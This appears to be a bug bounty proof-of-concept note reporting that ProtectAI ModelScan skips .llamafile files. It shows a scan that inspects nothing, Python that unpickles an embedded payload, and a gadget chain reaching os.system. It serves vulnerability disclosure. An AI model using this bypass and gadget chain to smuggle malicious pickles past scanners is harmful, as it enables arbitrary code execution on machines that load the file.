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Llamafile ACE โ€” Total ModelScan Blindspot PoC

Huntr Bug Bounty - Model File Formats (Llamafile / ProtectAI ModelScan)

bypass_v5.llamafile demonstrates that ProtectAI ModelScan v0.8.8 has NO scanner registered for the .llamafile extension.

Evidence

modelscan scan -p bypass_v5.llamafile -r json
# {"total_scanned": 0, "total_issues": 0, "issues": [], "errors": []}
# exit code: 3  (NOTHING SCANNED โ€” file completely ignored)

# RCE still fires on load:
import zipfile, pickle
with zipfile.ZipFile('bypass_v5.llamafile') as z:
    pickle.loads(z.read('payload.pkl'))  # <- ACE

Gadget Chain

importlib.import_module -> builtins.vars -> operator.getitem -> os.system
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